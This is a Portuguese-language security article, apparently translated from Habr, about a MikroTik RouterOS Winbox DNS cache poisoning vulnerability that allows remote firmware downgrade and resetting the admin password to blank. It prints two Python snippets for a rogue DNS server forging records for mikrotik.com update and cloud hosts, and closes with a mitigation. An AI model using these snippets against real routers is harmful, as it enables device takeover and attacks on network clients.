
A possibilidade de downgrade remoto de dispositivos baseados em RouterOS (Mikrotik) compromete centenas de milhares de dispositivos de rede. A vulnerabilidade está relacionada ao envenenamento do cache DNS do protocolo Winbox e permite carregar um firmware desatualizado (com reset da senha para o "padrão") ou modificado no dispositivo.

Detalhes da vulnerabilidade
O terminal RouterOS suporta um comando de resolução para busca DNS.

Essa solicitação é processada por um arquivo binário chamado resolver. O resolver é um dos muitos arquivos binários conectados ao protocolo Winbox do RouterOS. Em um nível alto, as "mensagens" enviadas para a porta Winbox podem ser roteadas para vários arquivos binários no RouterOS com base em um esquema de numeração baseado em array.
Por padrão, a função de servidor DNS está desativada no RouterOS.

No entanto, mesmo com a função de servidor desativada, o roteador mantém seu próprio cache DNS.

Quando fazemos uma solicitação usando winbox_dns_request, por exemplo, example.com, o roteador irá armazenar o resultado em cache.

Como podemos especificar o servidor DNS através do qual a solicitação deve passar, inserir endereços incorretos é trivial. Por exemplo, é possível configurar uma implementação do servidor DNS de , para sempre responder com um registro A contendo o endereço IP 192.168.88.250.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Resposta:n", reply)
return reply.pack()Agora, se procurarmos example.com através do Winbox, podemos ver que o cache DNS do roteador foi envenenado.

Claro, o envenenamento de example.com não é muito útil, já que o roteador, de fato, não o utilizará. No entanto, o roteador precisa acessar upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com e download.mikrotik.com. E devido a mais um erro, há a possibilidade de envenená-los todos ao mesmo tempo.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Resposta:n", reply)
return reply.pack()O roteador solicita uma permissão e nós fornecemos cinco de volta. O roteador está armazenando em cache todas essas respostas de forma incorreta.

É óbvio que este ataque também é útil se o roteador atua como servidor DNS, pois permite atacar os clientes do roteador.
Além disso, este ataque permite explorar uma vulnerabilidade mais séria: realizar um downgrade ou um backport da versão do RouterOS. O atacante recria a lógica do servidor de atualizações, incluindo o changelog, e faz com que o RouterOS perceba uma versão antiga (vulnerável) como atual. O perigo aqui é que ao "atualizar" a versão, a senha do administrador é redefinida para o valor "padrão" — o invasor pode acessar o sistema com uma senha em branco!

O ataque é totalmente funcional, apesar de que implementa mais alguns vetores, incluindo , mas isso já é uma técnica excessiva e sua aplicação para fins ilegítimos é ilegal.
Protección
Desativar o Winbox simples protege contra esses ataques. Apesar da conveniência de administração através do Winbox, é melhor usar o protocolo SSH.
Fonte: habr.com
